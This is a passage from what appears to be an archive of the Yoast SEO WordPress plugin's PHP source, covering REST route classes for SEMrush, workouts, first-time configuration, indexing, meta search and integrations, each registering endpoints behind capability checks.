			->login_action
			->authenticate( $request['code'] );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Sets the SEMrush country code option.
	 *
	 * @param WP_REST_Request $request The request. This request should have a country code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function set_country_code_option( WP_REST_Request $request ) {
		$data = $this
			->options_action
			->set_country_code( $request['country_code'] );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if a valid code was returned.
	 *
	 * @param string $code The code to check.
	 *
	 * @return bool Whether or not the code is valid.
	 */
	public function has_valid_code( $code ) {
		return $code !== '';
	}

	/**
	 * Checks if a valid keyphrase is provided.
	 *
	 * @param string $keyphrase The keyphrase to check.
	 *
	 * @return bool Whether or not the keyphrase is valid.
	 */
	public function has_valid_keyphrase( $keyphrase ) {
		return \trim( $keyphrase ) !== '';
	}

	/**
	 * Gets the related keyphrases based on the passed keyphrase and database code.
	 *
	 * @param WP_REST_Request $request The request. This request should have a keyphrase and country_code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get_related_keyphrases( WP_REST_Request $request ) {
		$data = $this
			->phrases_action
			->get_related_keyphrases(
				$request['keyphrase'],
				$request['country_code']
			);

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if a valid country code was submitted.
	 *
	 * @param string $country_code The country code to check.
	 *
	 * @return bool Whether or not the country code is valid.
	 */
	public function has_valid_country_code( $country_code ) {
		return ( $country_code !== '' && \preg_match( '/^[a-z]{2}$/', $country_code ) === 1 );
	}

	/**
	 * Whether or not the current user is allowed to edit post/pages and thus use the SEMrush integration.
	 *
	 * @return bool Whether or not the current user is allowed to use SEMrush.
	 */
	public function can_use_semrush() {
		return \current_user_can( 'edit_posts' ) || \current_user_can( 'edit_pages' );
	}
}
wordpress-seo/src/routes/workouts-route.php000064400000006150147510273100015234 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Main;

/**
 * Workouts_Route class.
 */
class Workouts_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents workouts route.
	 *
	 * @var string
	 */
	public const WORKOUTS_ROUTE = '/workouts';

	/**
	 * The Options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Workouts_Route constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct(
		Options_Helper $options_helper
	) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$edit_others_posts = static function () {
			return \current_user_can( 'edit_others_posts' );
		};

		$workouts_route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_workouts' ],
				'permission_callback' => $edit_others_posts,
			],
			[
				'methods'             => 'POST',
				'callback'            => [ $this, 'set_workouts' ],
				'permission_callback' => $edit_others_posts,
				'args'                => $this->get_workouts_routes_args(),
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::WORKOUTS_ROUTE, $workouts_route );
	}

	/**
	 * Returns the workouts as configured for the site.
	 *
	 * @return WP_REST_Response the configuration of the workouts.
	 */
	public function get_workouts() {
		$workouts_option = $this->options_helper->get( 'workouts_data' );

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_options' - Allows adding workouts options by the add-ons.
		 *
		 * @param array $workouts_option The content of the `workouts_data` option in Free.
		 */
		$workouts_option = \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );

		return new WP_REST_Response(
			[ 'json' => $workouts_option ]
		);
	}

	/**
	 * Sets the workout configuration.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response the configuration of the workouts.
	 */
	public function set_workouts( $request ) {
		$workouts_data = $request->get_json_params();

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_route_save' - Allows the add-ons to save the options data in their own options.
		 *
		 * @param mixed|null $result The result of the previous saving operation.
		 *
		 * @param array $workouts_data The full set of workouts option data to save.
		 */
		$result = \apply_filters( 'Yoast\WP\SEO\workouts_route_save', null, $workouts_data );

		return new WP_REST_Response(
			[ 'json' => $result ]
		);
	}

	/**
	 * Gets the args for all the registered workouts.
	 *
	 * @return array
	 */
	private function get_workouts_routes_args() {
		$args_array = [];

		/**
		 * Filter: 'Yoast\WP\SEO\workouts_route_args' - Allows the add-ons add their own arguments to the route registration.
		 *
		 * @param array $args_array The array of arguments for the route registration.
		 */
		return \apply_filters( 'Yoast\WP\SEO\workouts_route_args', $args_array );
	}
}
wordpress-seo/src/routes/first-time-configuration-route.php000064400000020101147510273100020257 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * First_Time_Configuration_Route class.
 */
class First_Time_Configuration_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the first time configuration route.
	 *
	 * @var string
	 */
	public const CONFIGURATION_ROUTE = '/configuration';

	/**
	 * Represents a site representation route.
	 *
	 * @var string
	 */
	public const SITE_REPRESENTATION_ROUTE = '/site_representation';

	/**
	 * Represents a social profiles route.
	 *
	 * @var string
	 */
	public const SOCIAL_PROFILES_ROUTE = '/social_profiles';

	/**
	 * Represents a route to enable/disable tracking.
	 *
	 * @var string
	 */
	public const ENABLE_TRACKING_ROUTE = '/enable_tracking';

	/**
	 * Represents a route to check if current user has the correct capabilities to edit another user's profile.
	 *
	 * @var string
	 */
	public const CHECK_CAPABILITY_ROUTE = '/check_capability';

	/**
	 * Represents a route to save the first time configuration state.
	 *
	 * @var string
	 */
	public const SAVE_CONFIGURATION_STATE_ROUTE = '/save_configuration_state';

	/**
	 * Represents a route to save the first time configuration state.
	 *
	 * @var string
	 */
	public const GET_CONFIGURATION_STATE_ROUTE = '/get_configuration_state';

	/**
	 *  The first tinme configuration action.
	 *
	 * @var First_Time_Configuration_Action
	 */
	private $first_time_configuration_action;

	/**
	 * First_Time_Configuration_Route constructor.
	 *
	 * @param First_Time_Configuration_Action $first_time_configuration_action The first-time configuration action.
	 */
	public function __construct(
		First_Time_Configuration_Action $first_time_configuration_action
	) {
		$this->first_time_configuration_action = $first_time_configuration_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$site_representation_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_site_representation' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'company_or_person' => [
					'type'     => 'string',
					'enum'     => [
						'company',
						'person',
					],
					'required' => true,
				],
				'company_name' => [
					'type'     => 'string',
				],
				'company_logo' => [
					'type'     => 'string',
				],
				'company_logo_id' => [
					'type'     => 'integer',
				],
				'person_logo' => [
					'type'     => 'string',
				],
				'person_logo_id' => [
					'type'     => 'integer',
				],
				'company_or_person_user_id' => [
					'type'     => 'integer',
				],
				'description' => [
					'type'     => 'string',
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SITE_REPRESENTATION_ROUTE, $site_representation_route );

		$social_profiles_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_social_profiles' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'facebook_site' => [
					'type'     => 'string',
				],
				'twitter_site' => [
					'type'     => 'string',
				],
				'other_social_urls' => [
					'type'     => 'array',
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SOCIAL_PROFILES_ROUTE, $social_profiles_route );

		$check_capability_route = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'check_capability' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'user_id' => [
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::CHECK_CAPABILITY_ROUTE, $check_capability_route );

		$enable_tracking_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'set_enable_tracking' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'tracking' => [
					'type'     => 'boolean',
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::ENABLE_TRACKING_ROUTE, $enable_tracking_route );

		$save_configuration_state_route = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'save_configuration_state' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'finishedSteps' => [
					'type'     => 'array',
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SAVE_CONFIGURATION_STATE_ROUTE, $save_configuration_state_route );

		$get_configuration_state_route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'get_configuration_state' ],
				'permission_callback' => [ $this, 'can_manage_options' ],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::GET_CONFIGURATION_STATE_ROUTE, $get_configuration_state_route );
	}

	/**
	 * Sets the site representation values.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_site_representation( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_site_representation( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Sets the social profiles values.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_social_profiles( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_social_profiles( $request->get_json_params() );

		return new WP_REST_Response(
			[ 'json' => $data ]
		);
	}

	/**
	 * Checks if the current user has the correct capability to edit a specific user.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function check_capability( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->check_capability( $request->get_param( 'user_id' ) );

		return new WP_REST_Response( $data );
	}

	/**
	 * Enables or disables tracking.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_enable_tracking( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->set_enable_tracking( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if the current user has the right capability.
	 *
	 * @return bool
	 */
	public function can_manage_options() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Checks if the current user has the capability to edit a specific user.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return bool
	 */
	public function can_edit_user( WP_REST_Request $request ) {
		$response = $this->first_time_configuration_action->check_capability( $request->get_param( 'user_id' ) );
		return $response->success;
	}

	/**
	 * Checks if the current user has the capability to edit posts of other users.
	 *
	 * @return bool
	 */
	public function can_edit_other_posts() {
		return \current_user_can( 'edit_others_posts' );
	}

	/**
	 * Saves the first time configuration state.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function save_configuration_state( WP_REST_Request $request ) {
		$data = $this
			->first_time_configuration_action
			->save_configuration_state( $request->get_json_params() );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Returns the first time configuration state.
	 *
	 * @return WP_REST_Response the state of the configuration.
	 */
	public function get_configuration_state() {
		$data = $this
			->first_time_configuration_action
			->get_configuration_state();

		return new WP_REST_Response( $data, $data->status );
	}
}
wordpress-seo/src/routes/abstract-indexation-route.php000064400000001604147510273100017301 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Response;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;

/**
 * Abstract_Indexation_Route class.
 *
 * Reindexing route for indexables.
 */
abstract class Abstract_Indexation_Route extends Abstract_Action_Route {

	/**
	 * Runs an indexing action and returns the response.
	 *
	 * @param Indexation_Action_Interface $indexation_action The indexing action.
	 * @param string                      $url               The url of the indexing route.
	 *
	 * @return WP_REST_Response The response.
	 */
	protected function run_indexation_action( Indexation_Action_Interface $indexation_action, $url ) {
		$indexables = $indexation_action->index();

		$next_url = false;
		if ( \count( $indexables ) >= $indexation_action->get_limit() ) {
			$next_url = \rest_url( $url );
		}

		return $this->respond_with( $indexables, $next_url );
	}
}
wordpress-seo/src/routes/indexables-head-route.php000064400000004622147510273100016356 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use WPSEO_Utils;
use Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action;
use Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional;
use Yoast\WP\SEO\Main;

/**
 * Head route for indexables.
 */
class Indexables_Head_Route implements Route_Interface {

	/**
	 * The posts route constant.
	 *
	 * @var string
	 */
	public const HEAD_FOR_URL_ROUTE = 'get_head';

	/**
	 * The full posts route constant.
	 *
	 * @var string
	 */
	public const FULL_HEAD_FOR_URL_ROUTE = Main::API_V1_NAMESPACE . '/' . self::HEAD_FOR_URL_ROUTE;

	/**
	 * The head action.
	 *
	 * @var Indexable_Head_Action
	 */
	private $head_action;

	/**
	 * Indexable_Indexation_Route constructor.
	 *
	 * @param Indexable_Head_Action $head_action The head action.
	 */
	public function __construct( Indexable_Head_Action $head_action ) {
		$this->head_action = $head_action;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Headless_Rest_Endpoints_Enabled_Conditional::class ];
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_head' ],
			'permission_callback' => '__return_true',
			'args'                => [
				'url' => [
					'validate_callback' => [ $this, 'is_valid_url' ],
					'required'          => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::HEAD_FOR_URL_ROUTE, $route_args );
	}

	/**
	 * Gets the head of a page for a given URL.
	 *
	 * @param WP_REST_Request $request The request. This request should have a url param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get_head( WP_REST_Request $request ) {
		$url  = \esc_url_raw( \utf8_uri_encode( $request['url'] ) );
		$data = $this->head_action->for_url( $url );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if a url is a valid url.
	 *
	 * @param string $url The url to check.
	 *
	 * @return bool Whether or not the url is valid.
	 */
	public function is_valid_url( $url ) {
		$url = WPSEO_Utils::sanitize_url( \utf8_uri_encode( $url ) );
		if ( \filter_var( $url, \FILTER_VALIDATE_URL ) === false ) {
			return false;
		}
		return true;
	}
}
wordpress-seo/src/routes/meta-search-route.php000064400000003716147510273100015535 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * Meta_Search_Route class
 */
class Meta_Search_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents meta search route.
	 *
	 * @var string
	 */
	public const META_SEARCH_ROUTE = '/meta/search';

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$route = [
			[
				'methods'             => 'GET',
				'callback'            => [ $this, 'search_meta' ],
				'permission_callback' => [ $this, 'permission_check' ],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::META_SEARCH_ROUTE, $route );
	}

	/**
	 * Performs the permission check.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return bool
	 */
	public function permission_check( $request ) {
		if ( ! isset( $request['post_id'] ) ) {
			return false;
		}

		$post_type        = \get_post_type( $request['post_id'] );
		$post_type_object = \get_post_type_object( $post_type );

		return \current_user_can( $post_type_object->cap->edit_posts );
	}

	/**
	 * Searches meta fields of a given post.
	 *
	 * @param WP_REST_Request $request The REST request.
	 *
	 * @return WP_REST_Response
	 */
	public function search_meta( $request ) {
		$post_id = $request['post_id'];
		$query   = $request['query'];
		$meta    = \get_post_custom( $post_id );
		$matches = [];

		foreach ( $meta as $key => $values ) {
			if ( \substr( $key, 0, \strlen( $query ) ) !== $query ) {
				continue;
			}

			if ( empty( $query ) && \substr( $key, 0, 1 ) === '_' ) {
				continue;
			}

			// Skip custom field values that are serialized.
			if ( \is_serialized( $values[0] ) ) {
				continue;
			}

			$matches[] = [
				'key'   => $key,
				'value' => $values[0],
			];

			if ( \count( $matches ) >= 25 ) {
				break;
			}
		}

		return \rest_ensure_response( [ 'meta' => $matches ] );
	}
}
wordpress-seo/src/routes/indexing-route.php000064400000030522147510273100015144 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use Exception;
use WP_Error;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action;
use Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action;
use Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Main;

/**
 * Indexing_Route class.
 *
 * Indexing route for indexables.
 */
class Indexing_Route extends Abstract_Indexation_Route {

	use No_Conditionals;

	/**
	 * The indexing complete route constant.
	 *
	 * @var string
	 */
	public const COMPLETE_ROUTE = 'indexing/complete';

	/**
	 * The full indexing complete route constant.
	 *
	 * @var string
	 */
	public const FULL_COMPLETE_ROUTE = Main::API_V1_NAMESPACE . '/' . self::COMPLETE_ROUTE;

	/**
	 * The indexables complete route constant.
	 *
	 * @var string
	 */
	public const INDEXABLES_COMPLETE_ROUTE = 'indexing/indexables-complete';

	/**
	 * The full indexing complete route constant.
	 *
	 * @var string
	 */
	public const FULL_INDEXABLES_COMPLETE_ROUTE = Main::API_V1_NAMESPACE . '/' . self::INDEXABLES_COMPLETE_ROUTE;

	/**
	 * The indexing prepare route constant.
	 *
	 * @var string
	 */
	public const PREPARE_ROUTE = 'indexing/prepare';

	/**
	 * The full indexing prepare route constant.
	 *
	 * @var string
	 */
	public const FULL_PREPARE_ROUTE = Main::API_V1_NAMESPACE . '/' . self::PREPARE_ROUTE;

	/**
	 * The posts route constant.
	 *
	 * @var string
	 */
	public const POSTS_ROUTE = 'indexing/posts';

	/**
	 * The full posts route constant.
	 *
	 * @var string
	 */
	public const FULL_POSTS_ROUTE = Main::API_V1_NAMESPACE . '/' . self::POSTS_ROUTE;

	/**
	 * The terms route constant.
	 *
	 * @var string
	 */
	public const TERMS_ROUTE = 'indexing/terms';

	/**
	 * The full terms route constant.
	 *
	 * @var string
	 */
	public const FULL_TERMS_ROUTE = Main::API_V1_NAMESPACE . '/' . self::TERMS_ROUTE;

	/**
	 * The terms route constant.
	 *
	 * @var string
	 */
	public const POST_TYPE_ARCHIVES_ROUTE = 'indexing/post-type-archives';

	/**
	 * The full terms route constant.
	 *
	 * @var string
	 */
	public const FULL_POST_TYPE_ARCHIVES_ROUTE = Main::API_V1_NAMESPACE . '/' . self::POST_TYPE_ARCHIVES_ROUTE;

	/**
	 * The general route constant.
	 *
	 * @var string
	 */
	public const GENERAL_ROUTE = 'indexing/general';

	/**
	 * The full general route constant.
	 *
	 * @var string
	 */
	public const FULL_GENERAL_ROUTE = Main::API_V1_NAMESPACE . '/' . self::GENERAL_ROUTE;

	/**
	 * The posts route constant.
	 *
	 * @var string
	 */
	public const POST_LINKS_INDEXING_ROUTE = 'link-indexing/posts';

	/**
	 * The full posts route constant.
	 *
	 * @var string
	 */
	public const FULL_POST_LINKS_INDEXING_ROUTE = Main::API_V1_NAMESPACE . '/' . self::POST_LINKS_INDEXING_ROUTE;

	/**
	 * The terms route constant.
	 *
	 * @var string
	 */
	public const TERM_LINKS_INDEXING_ROUTE = 'link-indexing/terms';

	/**
	 * The full terms route constant.
	 *
	 * @var string
	 */
	public const FULL_TERM_LINKS_INDEXING_ROUTE = Main::API_V1_NAMESPACE . '/' . self::TERM_LINKS_INDEXING_ROUTE;

	/**
	 * The post indexing action.
	 *
	 * @var Indexable_Post_Indexation_Action
	 */
	protected $post_indexation_action;

	/**
	 * The term indexing action.
	 *
	 * @var Indexable_Term_Indexation_Action
	 */
	protected $term_indexation_action;

	/**
	 * The post type archive indexing action.
	 *
	 * @var Indexable_Post_Type_Archive_Indexation_Action
	 */
	protected $post_type_archive_indexation_action;

	/**
	 * Represents the general indexing action.
	 *
	 * @var Indexable_General_Indexation_Action
	 */
	protected $general_indexation_action;

	/**
	 * The prepare indexing action.
	 *
	 * @var Indexing_Prepare_Action
	 */
	protected $prepare_indexing_action;

	/**
	 * The indexable indexing complete action.
	 *
	 * @var Indexable_Indexing_Complete_Action
	 */
	protected $indexable_indexing_complete_action;

	/**
	 * The indexing complete action.
	 *
	 * @var Indexing_Complete_Action
	 */
	protected $indexing_complete_action;

	/**
	 * The post link indexing action.
	 *
	 * @var Post_Link_Indexing_Action
	 */
	protected $post_link_indexing_action;

	/**
	 * The term link indexing action.
	 *
	 * @var Term_Link_Indexing_Action
	 */
	protected $term_link_indexing_action;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * Indexing_Route constructor.
	 *
	 * @param Indexable_Post_Indexation_Action              $post_indexation_action              The post indexing action.
	 * @param Indexable_Term_Indexation_Action              $term_indexation_action              The term indexing action.
	 * @param Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation_action The post type archive indexing action.
	 * @param Indexable_General_Indexation_Action           $general_indexation_action           The general indexing action.
	 * @param Indexable_Indexing_Complete_Action            $indexable_indexing_complete_action  The complete indexing action.
	 * @param Indexing_Complete_Action                      $indexing_complete_action            The complete indexing action.
	 * @param Indexing_Prepare_Action                       $prepare_indexing_action             The prepare indexing action.
	 * @param Post_Link_Indexing_Action                     $post_link_indexing_action           The post link indexing action.
	 * @param Term_Link_Indexing_Action                     $term_link_indexing_action           The term link indexing action.
	 * @param Options_Helper                                $options_helper                      The options helper.
	 * @param Indexing_Helper                               $indexing_helper                     The indexing helper.
	 */
	public function __construct(
		Indexable_Post_Indexation_Action $post_indexation_action,
		Indexable_Term_Indexation_Action $term_indexation_action,
		Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation_action,
		Indexable_General_Indexation_Action $general_indexation_action,
		Indexable_Indexing_Complete_Action $indexable_indexing_complete_action,
		Indexing_Complete_Action $indexing_complete_action,
		Indexing_Prepare_Action $prepare_indexing_action,
		Post_Link_Indexing_Action $post_link_indexing_action,
		Term_Link_Indexing_Action $term_link_indexing_action,
		Options_Helper $options_helper,
		Indexing_Helper $indexing_helper
	) {
		$this->post_indexation_action              = $post_indexation_action;
		$this->term_indexation_action              = $term_indexation_action;
		$this->post_type_archive_indexation_action = $post_type_archive_indexation_action;
		$this->general_indexation_action           = $general_indexation_action;
		$this->indexable_indexing_complete_action  = $indexable_indexing_complete_action;
		$this->indexing_complete_action            = $indexing_complete_action;
		$this->prepare_indexing_action             = $prepare_indexing_action;
		$this->options_helper                      = $options_helper;
		$this->post_link_indexing_action           = $post_link_indexing_action;
		$this->term_link_indexing_action           = $term_link_indexing_action;
		$this->indexing_helper                     = $indexing_helper;
	}

	/**
	 * Registers the routes used to index indexables.
	 *
	 * @return void
	 */
	public function register_routes() {
		$route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'index_posts' ],
			'permission_callback' => [ $this, 'can_index' ],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::POSTS_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'index_terms' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::TERMS_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'index_post_type_archives' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_ARCHIVES_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'index_general' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::GENERAL_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'prepare' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::PREPARE_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'indexables_complete' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::INDEXABLES_COMPLETE_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'complete' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::COMPLETE_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'index_post_links' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::POST_LINKS_INDEXING_ROUTE, $route_args );

		$route_args['callback'] = [ $this, 'index_term_links' ];
		\register_rest_route( Main::API_V1_NAMESPACE, self::TERM_LINKS_INDEXING_ROUTE, $route_args );
	}

	/**
	 * Indexes a number of unindexed posts.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_posts() {
		return $this->run_indexation_action( $this->post_indexation_action, self::FULL_POSTS_ROUTE );
	}

	/**
	 * Indexes a number of unindexed terms.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_terms() {
		return $this->run_indexation_action( $this->term_indexation_action, self::FULL_TERMS_ROUTE );
	}

	/**
	 * Indexes a number of unindexed post type archive pages.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_post_type_archives() {
		return $this->run_indexation_action( $this->post_type_archive_indexation_action, self::FULL_POST_TYPE_ARCHIVES_ROUTE );
	}

	/**
	 * Indexes a number of unindexed general items.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_general() {
		return $this->run_indexation_action( $this->general_indexation_action, self::FULL_GENERAL_ROUTE );
	}

	/**
	 * Indexes a number of posts for post links.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_post_links() {
		return $this->run_indexation_action( $this->post_link_indexing_action, self::FULL_POST_LINKS_INDEXING_ROUTE );
	}

	/**
	 * Indexes a number of terms for term links.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function index_term_links() {
		return $this->run_indexation_action( $this->term_link_indexing_action, self::FULL_TERM_LINKS_INDEXING_ROUTE );
	}

	/**
	 * Prepares the indexation.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function prepare() {
		$this->prepare_indexing_action->prepare();

		return $this->respond_with( [], false );
	}

	/**
	 * Completes the indexable indexation.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function indexables_complete() {
		$this->indexable_indexing_complete_action->complete();

		return $this->respond_with( [], false );
	}

	/**
	 * Completes the indexation.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function complete() {
		$this->indexing_complete_action->complete();

		return $this->respond_with( [], false );
	}

	/**
	 * Whether or not the current user is allowed to index.
	 *
	 * @return bool Whether or not the current user is allowed to index.
	 */
	public function can_index() {
		return \current_user_can( 'edit_posts' );
	}

	/**
	 * Runs an indexing action and returns the response.
	 *
	 * @param Indexation_Action_Interface $indexation_action The indexing action.
	 * @param string                      $url               The url of the indexing route.
	 *
	 * @return WP_REST_Response|WP_Error The response, or an error when running the indexing action failed.
	 */
	protected function run_indexation_action( Indexation_Action_Interface $indexation_action, $url ) {
		try {
			return parent::run_indexation_action( $indexation_action, $url );
		} catch ( Exception $exception ) {
			$this->indexing_helper->indexing_failed();

			return new WP_Error(
				'wpseo_error_indexing',
				$exception->getMessage(),
				[ 'stackTrace' => $exception->getTraceAsString() ]
			);
		}
	}
}
wordpress-seo/src/routes/abstract-action-route.php000064400000001172147510273100016414 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Response;

/**
 * Abstract_Action_Route class.
 *
 * Abstract class for action routes.
 */
abstract class Abstract_Action_Route implements Route_Interface {

	/**
	 * Responds to an indexing request.
	 *
	 * @param array  $objects  The objects that have been indexed.
	 * @param string $next_url The url that should be called to continue reindexing. False if done.
	 *
	 * @return WP_REST_Response The response.
	 */
	protected function respond_with( $objects, $next_url ) {
		return new WP_REST_Response(
			[
				'objects'  => $objects,
				'next_url' => $next_url,
			]
		);
	}
}
wordpress-seo/src/routes/integrations-route.php000064400000004304147510273100016044 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Integrations_Action;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * Integrations_Route class.
 */
class Integrations_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the integrations route.
	 *
	 * @var string
	 */
	public const INTEGRATIONS_ROUTE = '/integrations';

	/**
	 * Represents a route to set the state of an integration.
	 *
	 * @var string
	 */
	public const SET_ACTIVE_ROUTE = '/set_active';

	/**
	 *  The integrations action.
	 *
	 * @var Integrations_Action
	 */
	private $integrations_action;

	/**
	 * Integrations_Route constructor.
	 *
	 * @param Integrations_Action $integrations_action The integrations action.
	 */
	public function __construct(
		Integrations_Action $integrations_action
	) {
		$this->integrations_action = $integrations_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$set_active_route = [
